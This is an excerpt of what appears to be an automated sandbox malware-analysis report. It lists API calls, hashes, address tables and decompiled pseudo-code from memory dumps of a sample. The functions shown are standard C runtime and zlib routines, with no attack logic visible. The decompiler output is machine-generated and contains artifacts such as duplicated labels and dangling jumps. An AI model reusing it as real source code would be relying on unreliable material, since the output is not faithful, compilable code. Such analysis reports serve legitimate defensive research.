0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,04961890), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 048E72E8 Relevance: 22.8, APIs: 15, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 048E731A
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 048E732C
_malloc.LIBCMT ref: 048E73F1
_malloc.LIBCMT ref: 048E74B3
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 048E74DE
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 048E7501
__freea.LIBCMT ref: 048E750B
__freea.LIBCMT ref: 048E7514
___ansicp.LIBCMT ref: 048E7545
___convertcp.LIBCMT ref: 048E7570
_malloc.LIBCMT ref: 048E75C9
_memset.LIBCMT ref: 048E75EB
___convertcp.LIBCMT ref: 048E7621
__freea.LIBCMT ref: 048E7636
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 048E7650

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
String ID:
API String ID: 2918745354-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: 9ec773ae458c71bc117c84cb4b6863fc6cb13ea1217dab45d73481a69d7ea2df
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 68B1D07290014AFFDF119FAACC808BE3FB5EB4A318B158E29F915E6120E730E950DB50

Uniqueness

Uniqueness Score: -1.00%

Function 048E083C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,048E0977,00000000,00000000,?,00000001,048DC22D,048DB993), ref: 048E084E
__crt_waiting_on_module_handle.LIBCMT ref: 048E0859

Part of subcall function 048DE9D1: Sleep.KERNEL32(000003E8,00000000,?,048E079F,KERNEL32.DLL,?,048E07EB,?,00000001,048DC22D,048DB993), ref: 048DE9DD
Part of subcall function 048DE9D1: GetModuleHandleW.KERNEL32(00000001,?,048E079F,KERNEL32.DLL,?,048E07EB,?,00000001,048DC22D,048DB993), ref: 048DE9E6

__lock.LIBCMT ref: 048E08B4
InterlockedIncrement.KERNEL32(?), ref: 048E08C1
__lock.LIBCMT ref: 048E08D5
___addlocaleref.LIBCMT ref: 048E08F3

Strings

@.B, xrefs: 048E08E8
KERNEL32.DLL, xrefs: 048E0848, 048E084D, 048E0858

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: @.B$KERNEL32.DLL
API String ID: 4021795732-2520587274
Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction ID: 5a5054f5f0a2061919050c07e4af3f3586487290fed5a3c477ecb5eaa16bd255
Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction Fuzzy Hash: F511D871941B10AEE721AF39DC0079ABBE0AF05314F504E2ED499D72A1CBB4A542CF99

Uniqueness

Uniqueness Score: -1.00%

Function 048D5A17 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 048D5A45

Part of subcall function 048DBAB4: __FF_MSGBANNER.LIBCMT ref: 048DBAD7
Part of subcall function 048DBAB4: __NMSG_WRITE.LIBCMT ref: 048DBADE

_malloc.LIBCMT ref: 048D5AA9
_malloc.LIBCMT ref: 048D5B6D
_malloc.LIBCMT ref: 048D5B97

Strings

1.2.3, xrefs: 048D5B53, 048D5B9E

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: 1.2.3
API String ID: 1579825452-2310465506
Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction ID: dfa3aaaf1dc2339a14524990188b61e771c4a2fe2d72986cd4c884a65cfe52c9
Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction Fuzzy Hash: 2661CFB194A781AFD7209F29888066AFBE0FF45618F544E2FD1DAC3600E775B44ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 048DBF29 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 048DBF8B
_memcpy_s.LIBCMT ref: 048DC000
__fileno.LIBCMT ref: 048DC060
__read.LIBCMT ref: 048DC067
__filbuf.LIBCMT ref: 048DC08B
_memset.LIBCMT ref: 048DC0D1
_memset.LIBCMT ref: 048DC0FC

Part of subcall function 048DC228: __getptd_noexit.LIBCMT ref: 048DC228

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 429da616abc880178d17b8aac7802aeadad88edd5ca77aff0fdade2e52bda7c9
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: D451F071A02208EBDF249F69884499EBBB5EF81324F158F29E825D7190E771FE50CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
